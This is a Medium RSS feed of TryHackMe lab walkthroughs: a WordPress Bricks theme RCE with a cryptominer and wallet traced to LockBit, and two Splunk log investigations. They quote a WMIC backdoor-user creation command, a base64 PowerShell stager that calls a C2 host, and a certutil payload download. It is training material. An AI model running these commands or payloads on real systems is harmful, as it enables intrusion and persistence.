<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anshuman Singh on Medium]]></title>
        <description><![CDATA[Stories by Anshuman Singh on Medium]]></description>
        <link>https://medium.com/@anshumansingh1?source=rss-9268a58fb349------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hGx56rsRGhPFiXHvVO9KAQ@2x.jpeg</url>
            <title>Stories by Anshuman Singh on Medium</title>
            <link>https://medium.com/@anshumansingh1?source=rss-9268a58fb349------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 05:23:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anshumansingh1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Walkthrough]]></title>
            <link>https://systemweakness.com/tryhackme-walkthrough-c4d7ad72f354?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4d7ad72f354</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cryptominig]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 16:00:39 GMT</pubDate>
            <atom:updated>2025-03-06T17:02:24.701Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Walkthrough: Bricks Heist Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*0D12-VIvFnmBL2AKnkTofQ.png" /></figure><h3>Scenario Overview</h3><p><strong><em>URL: </em></strong><a href="https://tryhackme.com/room/tryhack3mbricksheist"><strong><em>https://tryhackme.com/room/tryhack3mbricksheist</em></strong></a></p><p>In the <strong>TryHack3M: Bricks Heist</strong> room on <strong>TryHackMe</strong>, you’re thrust into a high-stakes scenario involving a sophisticated breach. The story centers around a cunning criminal crew that managed to infiltrate an online store named <strong>Brick Press Media Co.</strong>, pilfering sensitive information and leaving a digital footprint behind. Your mission is to retrace the attackers’ steps, uncover their methods, and piece together the clues to help identify the culprits and the exploit they used.</p><p>Along the way, you’ll discover hidden directories, parse suspicious files, and analyze system vulnerabilities — transforming each clue into a bigger picture of the heist. This room blends puzzle-solving with cybersecurity fundamentals, offering a step-by-step journey into how a real-world infiltration might unfold while teaching you practical offensive and defensive security skills.</p><h3>Solution</h3><p>Let’s start by making sure the machine is up and running. Then, update the /etc/hosts file with the Machine IP and URL as mentioned in the Note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*vfn8Vxp2npLjUqzYWP900Q.png" /></figure><p>As always, the first step is to perform an <strong>Nmap</strong> scan to identify open ports, running services, and potential vulnerabilities on the target IP address.</p><pre>nmap -A -sC -sV -oN nmap 10.10.170.128</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6H83L7TsGMowbh1IYDg4Ow.png" /></figure><ul><li>-A → Enables aggressive mode, which includes OS detection, version detection, script scanning, and traceroute.</li><li>-sC → Runs default scripts that help detect common vulnerabilities.</li><li>-sV → Identifies the versions of the services running on open ports.</li><li>-oN nmap → Saves the output to a file named <em>nmap</em> for later reference.</li></ul><p>The scan results revealed four open ports:</p><ul><li><strong>22/tcp</strong> — OpenSSH (SSH service)</li><li><strong>80/tcp</strong> — HTTP (Web Server)</li><li><strong>443/tcp</strong> — HTTPS (Secure Web Server)</li><li><strong>3306/tcp</strong> — MySQL Database</li></ul><p>These findings suggest that the target runs a web application <strong>(ports 80 and 443)</strong> and has a database service <strong>(MySQL on port 3306)</strong> that could be of interest. Additionally, SSH <strong>(port 22)</strong> might provide an entry point if valid credentials or vulnerabilities are found.</p><p>After identifying that ports 80 (HTTP) and 443 (HTTPS) were open, I tried to enumerate the web server for hidden directories or files that could provide further insights into potential vulnerabilities. I used <strong>Gobuster</strong>, a powerful and fast directory brute-forcing tool, for <strong>Directory Enumeration</strong>:</p><pre>gobuster dir -u 10.10.170.128 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98fnWRR1cICX_TK48jOMgA.png" /></figure><ul><li>dir → Enables directory enumeration mode.</li><li>-u 10.10.170.128 → Specifies the target URL.</li><li>-w /usr/share/wordlists/dirb/common.txt → Uses the <strong>common.txt</strong> wordlist from the <strong>Dirb</strong> collection to identify potential directories.</li></ul><p>Despite running the scan, no significant directories were discovered in this attempt.</p><p>Since the challenge information stated that someone had installed a new web theme on this WordPress-based web application, I leveraged <strong>WPScan</strong>, a specialized security scanner for <strong>WordPress</strong>, to enumerate its version, themes, and potential vulnerabilities using the following command:</p><pre>wpscan --url https://bricks.thm/ --disable-tls-checks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8H-r-wVpFcKSTjKa9ugTw.png" /></figure><ul><li>--url https://bricks.thm/ → Specifies the target URL.</li><li>--disable-tls-checks → Disables SSL/TLS verification to bypass certificate issues that might interfere with the scan.</li></ul><p>The scan revealed the following information:</p><ul><li><strong>Detected WordPress Version:</strong> 1.9.5 (80% confidence)</li><li><strong>Theme Identified:</strong> bricks (Referenced in /wp-content/themes/bricks/style.css)</li><li><strong>No Plugins Found</strong> (via passive detection)</li><li><strong>No Configuration Backups Found</strong></li></ul><p>WPScan successfully identified the <strong>WordPress version and theme</strong>, which is <strong>crucial</strong> since older versions often contain publicly known vulnerabilities.</p><p>A little research on Google about version 1.9.5 revealed:</p><blockquote><strong>The versions of Bricks Builder Theme ≤ 1.9.6 are vulnerable to unauthenticated remote code execution (RCE). This vulnerability allows attackers to execute arbitrary code on the server without authentication.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBpe0kGnmJmHqryEfvpppA.png" /></figure><blockquote><strong>What is the content of the hidden .txt file in the web folder?</strong></blockquote><p>Now that we have the RCE <strong>CVE-2024–25600</strong> with ua, we can try to exploit it to get access to the web folder.</p><p>I used this python script for the exploit:<strong><em> </em></strong><a href="https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT"><strong><em>https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQ2gNengw9ZgdqxC1JqFQg.png" /></figure><p>After installing the requirements, the exploit successfully spawns a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mc99h0rwaaH8_mDE0Z9XXg.png" /></figure><p>Out of all the files available in the immediate directory, the file name <strong>650c844110baced87e1606453b93f22a.txt</strong> seemed a bit odd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAU7SuokeEnIbEAX6C1vvw.png" /></figure><p>Exploring the contents of the file revealed the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*bzI2cB5NQegSSxpKaB74pw.png" /></figure><p><strong><em>Ans: THM{fl46_650c844110baced87e1606453b93f22a}</em></strong></p><blockquote><strong>What is the name of the suspicious process?</strong></blockquote><p>For this, we need to check the list of processes to find the suspicious process. This could be done using systemctl or ps aux but the list turns out to be pretty long to go through. Instead, we can try to go through the list of all the <strong>Running</strong> processes using the command:</p><pre>systemctl list-units --type=service --state=running</pre><p>After carefully inspecting the list, there is a running process ubuntu.service with the description <strong>TRYHACK3M,</strong> which is the theme of this room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAph8JSb7utGkBAIBFwB6w.png" /></figure><p>Exploring the service revealed that ubuntu.service started the process nm-inet-dialog, which was the suspicious process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*zzZY3IB1bwaQpP0_vIasZQ.png" /></figure><p><strong><em>Ans: nm-inet-dialog</em></strong></p><blockquote><strong>What is the service name affiliated with the suspicious process?</strong></blockquote><p><strong><em>Ans: ubuntu.service</em></strong></p><blockquote><strong>What is the log file name of the miner instance?</strong></blockquote><p>So, they have a possible cryptomining going on here. We are looking for the log file name.</p><p>After listing the contents of /lib/NetworkManager/ directory, we can see the malware nm-inet-dialog and its configuration file inet.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*VShfM_iF8vnS-WWqoxTs0A.png" /></figure><p>The contents of inet.conf file confirm the presence of a cryptominer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*EhL9Zdrdj77uwOR4jCZrKQ.png" /></figure><p><strong><em>Ans: inet.conf</em></strong></p><blockquote><strong>What is the wallet address of the miner instance?</strong></blockquote><p>The contents of the file expose an ID that is not the wallet address of the miner.</p><pre>5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c705<br>55a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a625531<br>3459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453<br>959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LAPjGODLo38IX2nSXSYCsQ.png" /></figure><p>So, we can try to decode it using <strong>CyberChef</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ek_ASK_x5oY1zRTiZSMVJg.png" /></figure><p>The resulting string starts with <strong>bc1</strong>. A quick Google search reveals that this is a Bitcoin address.</p><blockquote><strong>A “bc1” address is a type of Bitcoin address that uses the Bech32 format, also known as native SegWit (Segregated Witness) addresses.</strong></blockquote><p>The decoded string appears to be repetitive. The wallet address could be the first half.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*lcO-OilOEjHRChWGCGtQng.png" /></figure><p><strong><em>Ans: bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa</em></strong></p><blockquote><strong>The wallet address used has been involved in transactions between wallets belonging to which threat group?</strong></blockquote><p>Let’s try some OSINT on this wallet address. After some digging, I found the transaction history of this wallet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zDQWAIbXhwQYJO10Mut8g.png" /></figure><p>I assume they want us to look at the first transaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1fIxlc4ZpJFnyOMctBgVYw.png" /></figure><p>The address from the transaction belongs to one <strong>IVAN GENNADIEVICH KONDRATIEV</strong>. We need to find the threat group this guy belongs to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u1MG3iT7dZiVoIi9-QkPkw.png" /></figure><p>Looking for <strong>IVAN GENNADIEVICH KONDRATIEV</strong>, I found many interesting articles related to him:</p><ul><li><a href="https://www.bleepingcomputer.com/news/security/police-arrest-lockbit-ransomware-members-release-decryptor-in-global-crackdown/">Police arrest LockBit ransomware members, release decryptor in global crackdown</a></li><li><a href="https://techcrunch.com/2024/02/20/lockbit-sanctions-ransomware-takedown/">US sanctions LockBit members after ransomware takedown | TechCrunch</a></li><li><a href="https://medium.com/@AMLCrypto/police-seized-200-lockbit-cryptocurrency-wallets-11f6a7f9a50e">Police seized 200 LockBit cryptocurrency wallets</a></li><li><a href="https://home.treasury.gov/news/press-releases/jy2114">United States Sanctions Affiliates of Russia-Based LockBit Ransomware Group</a></li><li><a href="https://thehackernews.com/2024/02/lockbit-ransomware-operation-shut-down.html">LockBit Ransomware Operation Shut Down; Criminals Arrested; Decryption Keys Released</a></li></ul><p>These articles reveal the threat group:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0tdCfyT31ItEEkNZbQq7Q.png" /></figure><p><strong><em>Ans: LockBit</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4d7ad72f354" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/tryhackme-walkthrough-c4d7ad72f354">TryHackMe Walkthrough</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Walkthrough]]></title>
            <link>https://anshumansingh1.medium.com/tryhackme-walkthrough-23273e52847b?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/23273e52847b</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Sat, 01 Mar 2025 16:32:15 GMT</pubDate>
            <atom:updated>2025-03-04T21:58:55.583Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Walkthrough: Investigating with Splunk Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*nqcbX1dpxXfp9vpp9gPfyw.png" /></figure><h3>Scenario Overview</h3><p><strong><em>URL: </em></strong><a href="https://tryhackme.com/room/investigatingwithsplunk"><strong><em>https://tryhackme.com/room/investigatingwithsplunk</em></strong></a></p><p>The <strong>Investigating with Splunk</strong> challenge on <strong>TryHackMe</strong> is designed to introduce participants to real-world threat hunting and forensic investigation using <strong>Splunk</strong>. The room simulates a security breach scenario where users must analyze logs, uncover attack patterns, and identify indicators of compromise (IoCs) to track down malicious activity.</p><p>A company has experienced suspicious activity within its network. It looks like the adversary has access to some Windows machines and has successfully created some backdoors. You, as a <strong>Security Analyst</strong>, have been tasked with investigating the incident. Using <strong>Splunk</strong>, you will dive into various logs to answer critical questions about the attack and the attacker.</p><h3>Solution</h3><p>First, deploy the machine and access the Splunk dashboard via the AttackBox or the VPN at the generated IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IADNnMYeFapWDDAJFB2-fw.png" /></figure><p>Go to the <strong>Search &amp; Reporting</strong> tab. View the <strong>ALL time</strong> logs in the <strong>Verbose Mode</strong>. The required logs are ingested in the index <strong>main</strong>.</p><blockquote><strong>How many events were collected and ingested in the index main?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*eSs_9nlgx7a9vUTPSZ0fCw.png" /></figure><p><strong><em>Ans: 12256</em></strong></p><blockquote><strong>On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?</strong></blockquote><p>There are two ways to do this. Either we can search for the command, or we can search for the event ID.</p><ul><li>In the <strong>All Fields</strong> pane, we can check the <strong>CommandLine</strong> field to look for any command to create a new user account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5DLXOsIfLHvawXjmd6EAQ.png" /></figure><p>We can see the command:</p><pre>&quot;C:\windows\System32\Wbem\WMIC.exe&quot; /node:WORKSTATION6 process call create &quot;net user /add A1berto paw0rd1&quot;</pre><p>This command <strong>remotely</strong> creates a new user account (A1berto) on WORKSTATION6 with the password paw0rd1. Since this is executed using <strong>WMIC (Windows Management Instrumentation Command-line)</strong>, the command is likely run with administrative privileges.</p><ul><li>Alternatively, we can search for the specific <strong>EventID</strong> that refers to a user creation, which is <strong>4720</strong>:</li></ul><pre>index=main EventID=4720</pre><p>You can verify by checking the log message, it says, <strong>“A user account was created.” </strong>There is only one such event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDR4klnYTDsjrgCoc7wtoQ.png" /></figure><p>Going through the log carefully, you will find the <strong>“(SAM) Security Account Manager) Account Name”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*KqgtLBBkOFewLEuEsSRFbw.png" /></figure><p><strong><em>Ans: A1berto</em></strong></p><blockquote><strong>On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?</strong></blockquote><p>Here, we are looking for all the events where a registry key is added, modified, or deleted. The <strong>Category</strong> field in the left pane shows <strong>“Registry object added or deleted”</strong>, which is exactly what we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfLsIs2GPQPVZpWbEFTs_w.png" /></figure><p>Now, to filter these 1496 events, we can look for a registry key update regarding the new backdoor user, <strong>A1berto</strong>:</p><pre>index=&quot;main&quot; Category=&quot;Registry object added or deleted (rule: RegistryEvent)&quot; A1berto</pre><p>We are left with only two events with <strong>Eventype: DeleteKey</strong> and <strong>EventType: CreateKey</strong>. We are looking for a modified registry key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*8wK8RaUhZuFdG-ZBEAA-cw.png" /></figure><p><strong><em>Ans: HKLM\SAM\SAM\Domains\Account\Users\Names\A1berto</em></strong></p><blockquote><strong>Examine the logs and identify the user that the adversary was trying to impersonate.</strong></blockquote><p>Checking the list of all users, we find the legitimate user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QZQNVspmsBG79GLTe-SZA.png" /></figure><p><strong><em>Ans: Alberto</em></strong></p><blockquote><strong>What is the command used to add a backdoor user from a remote computer?</strong></blockquote><p><strong><em>Ans: C:\windows\System32\Wbem\WMIC.exe” /node:WORKSTATION6 process call create “net user /add A1berto paw0rd1</em></strong></p><blockquote><strong>How many times was the login attempt from the backdoor user observed during the investigation?</strong></blockquote><p>Checking the event categories for the backdoor user, A1berto, we find no event related to user login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAx4SNNlxSPYDDjOG1ZnwA.png" /></figure><p><strong><em>Ans: 0</em></strong></p><blockquote><strong>What is the name of the infected host on which suspicious Powershell commands were executed?</strong></blockquote><p>For this, we can check all the filtered events for powershell command executions. There is only a single entry in the <strong>Hostname</strong> field:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eet03z4twPE3fSVHyUTgaw.png" /></figure><p><strong><em>Ans: James.browne</em></strong></p><blockquote><strong>PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?</strong></blockquote><p><strong>Powershell Logging</strong> is a feature that involves capturing and recording all the events related to PowerShell activities. Once Powershell logging is enabled, an event ID is triggered in Windows, which is <strong>4103</strong>.</p><p>We can filter the events with <strong>EventID=4103</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*b9sj_73Hnu7_S10Q5SAbLQ.png" /></figure><p><strong><em>Ans: 79</em></strong></p><blockquote><strong>An encoded Powershell script from the infected host initiated a web request. What is the full URL?</strong></blockquote><p>Now, we want to decode the Powershell script that was executed. There is only one command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__cEY_hzdKyjkW51BUt2rw.png" /></figure><p>Take the contents of the <strong>Message</strong> field from the log, remove the beginning and the ending, leaving only the <strong>Base64</strong> encoded string, and decode it using <strong>CyberChef</strong>.</p><pre>SQBGACgAJABQAFMAVgBlAHIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBJAE8ATgAuAE0<br>AYQBKAE8AUgAgAC0ARwBlACAAMwApAHsAJAAxADEAQgBEADgAPQBbAHIAZQBGAF0ALgBBAFMAcwBlAE<br>0AYgBsAHkALgBHAGUAdABUAHkAUABFACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuA<br>HQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVQB0AGkAbABzACcAKQAuACIARwBFAFQARgBJAGUAYABs<br>AGQAIgAoACcAYwBhAGMAaABlAGQARwByAG8AdQBwAFAAbwBsAGkAYwB5AFMAZQB0AHQAaQBuAGcAcwA<br>nACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkARgAoACQAMQ<br>AxAEIAZAA4ACkAewAkAEEAMQA4AEUAMQA9ACQAMQAxAEIARAA4AC4ARwBlAHQAVgBhAEwAVQBFACgAJ<br>ABuAFUAbABMACkAOwBJAGYAKAAkAEEAMQA4AGUAMQBbACcAUwBjAHIAaQBwAHQ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EAZABEAGEAdAB<br>BACgAJABTAEUAcgArACQAdAApADsAJABpAHYAPQAkAEQAQQBUAEEAWwAwAC4ALgAzAF0AOwAkAEQAYQ<br>BUAEEAPQAkAGQAQQBUAEEAWwA0AC4ALgAkAEQAYQBUAEEALgBMAEUAbgBHAHQASABdADsALQBKAE8Aa<br>QBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkA<br>KQB8AEkARQBYAA==</pre><p>Use <strong>Decode text</strong> with <strong>UTF-16LE (1200)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVl2omKS4bxiA3ms3mf5Mg.png" /></figure><p>We see another <strong>Base64</strong> encoded string followed by a directory or a path, indicating that a page or a file named <strong>news.php</strong> has been accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-l3_4NGgcyNxyue2mmwHw.png" /></figure><p>Using the same recipe to decode this string, we get the URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blsR5zhuy2jHMKsAqn6QrA.png" /></figure><p>We have the full defanged URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1Nd6qpn1mbM149j92T1pQ.png" /></figure><p><strong><em>Ans: hxxp[://]10[.]10[.]10[.]5/news[.]php</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23273e52847b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Walkthrough]]></title>
            <link>https://anshumansingh1.medium.com/tryhackme-walkthrough-2e022da00712?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e022da00712</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Sat, 01 Mar 2025 01:43:38 GMT</pubDate>
            <atom:updated>2025-03-04T21:56:57.848Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Walkthrough: Benign Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*0YsnbXYRtnGzRTAUddJLXA.png" /></figure><h3>Scenario Overview</h3><p><strong><em>URL: </em></strong><a href="https://tryhackme.com/room/benign"><strong><em>https://tryhackme.com/room/benign</em></strong></a></p><p>The <strong>Benign</strong> challenge simulates a <strong>potential security incident</strong> involving a compromised host in the HR department. An <strong>Intrusion Detection System (IDS)</strong> has flagged unusual process executions, suggesting an attacker might attempt to maintain persistence or download additional malicious payloads.</p><p>Your mission is to act as a <strong>SOC Analyst</strong> and leverage <strong>Splunk queries</strong> to hunt for suspicious activities, detect anomalies, and answer key forensic questions about the compromise. By carefully inspecting <strong>Windows event logs</strong>, you will piece together the attacker’s actions and determine the <strong>nature and impact</strong> of the breach.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEgUnwG-XN9Hx3uLyv8j7g.png" /></figure><p>Now, let’s answer the questions to solve this challenge.</p><h3>Solution</h3><p>First, deploy the machine and access the Splunk dashboard via the AttackBox or via the VPN at the generated IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_IOWQ0tCnWlfY6zC2yH98Q.png" /></figure><p>Go to the <strong>Search &amp; Reporting</strong> tab. View the <strong>ALL time</strong> logs in the <strong>Verbose Mode</strong>. The required logs are ingested in the index <strong>win_eventlogs</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*2_IYb9GLt9pgZ4qZK1bc-A.png" /></figure><blockquote><strong>How many logs are ingested from the month of March, 2022?</strong></blockquote><p>Set the <strong>Date Range</strong> to the month of March and view the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*hOxddChlOygxHv10_ucrBQ.png" /></figure><p><strong><em>Ans: 13959</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gaThGEfo5RB4vz1ZIOxPTQ.png" /></figure><blockquote><strong>Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?</strong></blockquote><p>Since the fields in the left panel show <strong>Top 10 Values</strong> based on the <strong>Count</strong>, there are multiple ways to check the remaining values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZIVJC-D37t8YKk65OgC9Q.png" /></figure><p>You can create a table of UserName field with <strong>dedup</strong> function to remove any duplicate values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*ec_BhfOlNxFlV0yliYY_Sw.png" /></figure><p>As we can see, the attacker created an imposter account for the user <strong>Amelia</strong> by slightly changing the username.</p><p><strong><em>Ans: Amel1a</em></strong></p><blockquote><strong>Which user from the HR department was observed to be running scheduled tasks?</strong></blockquote><p>We can use <strong><em>schtasks</em></strong> to filter out all the events associated with scheduled tasks.</p><blockquote><strong>schtasks.exe is a legitimate Windows system file that manages scheduled tasks on a computer. It allows users to create, modify, delete, and query scheduled tasks through a command-line interface.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abUaB1XYY0POa6QthQV-OQ.png" /></figure><p>As we can see, only four users are running scheduled tasks out of which the user named <strong>Chris.fort</strong> belongs to the HR Department.</p><p><strong><em>Ans: Chris.fort</em></strong></p><blockquote><strong>Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.</strong></blockquote><p>For this, we can check out the URL provided in the Hint to find the binaries used to download the payload.</p><pre>lolbas-project.github.io/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*ny-GvhDVnwBzQwuwxHixkA.png" /></figure><blockquote><strong>LOLBins, or Living Off the Land Binaries, are legitimate system files or scripts developed for administrative or diagnostic purposes that attackers use to carry out malicious activities without injecting new, suspicious files into the system. This approach makes detection by traditional security solutions more difficult because these files are part of the operating system and are often not recognized as a threat.</strong></blockquote><p>Now, if you are not experienced enough, I’m afraid there is no easy way to do this. We need to manually check the processes run by each user from the HR Department against these binaries listed in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kOGC-Ow4qfXVDi2FlCOpBQ.png" /></figure><p>Eventually, we see the user named <strong>haroon</strong> run the <strong>certutil.exe</strong> process that is present in the list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*ZeqmZP5tCknVTZsRfXfcMA.png" /></figure><p><strong><em>Ans: haroon</em></strong></p><blockquote><strong>To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?</strong></blockquote><p><strong><em>Ans: certutil.exe</em></strong></p><blockquote><strong>What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)</strong></blockquote><pre>index=win_eventlogs UserName=&quot;haroon&quot; certutil.exe<br>| dedup ProcessName<br>| table _time ProcessName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfFRnV87PGEiKKn6IzBadQ.png" /></figure><p><strong><em>Ans: 2022–03–04</em></strong></p><blockquote><strong>Which third-party site was accessed to download the malicious payload?</strong></blockquote><p>Checking the event log for <strong>certutil.exe</strong> process, we find the command used to execute this process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*i2HC58BygpW7NNzlfj7wmg.png" /></figure><p><strong><em>Ans: controlc.com</em></strong></p><blockquote><strong>What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?</strong></blockquote><p><strong><em>Ans: benign.exe</em></strong></p><blockquote><strong>The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?</strong></blockquote><p>Accessing the URL gives the flag,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c_N57Tf-M2tmVupGUbzsBw.png" /></figure><p><strong><em>Ans: THM{KJ&amp;*H^B0}</em></strong></p><blockquote><strong>What is the URL that the infected host connected to?</strong></blockquote><p><strong><em>Ans: </em></strong><a href="https://controlc.com/e4d11035"><strong><em>https://controlc.com/e4d11035</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e022da00712" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud and Credential Threats: The Final Chapter of a CIRT Technical Interview Series]]></title>
            <link>https://anshumansingh1.medium.com/cloud-and-credential-threats-the-final-chapter-of-a-cirt-technical-interview-series-b750c0982eb1?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/b750c0982eb1</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Fri, 24 Jan 2025 15:14:01 GMT</pubDate>
            <atom:updated>2025-01-24T15:14:01.200Z</atom:updated>
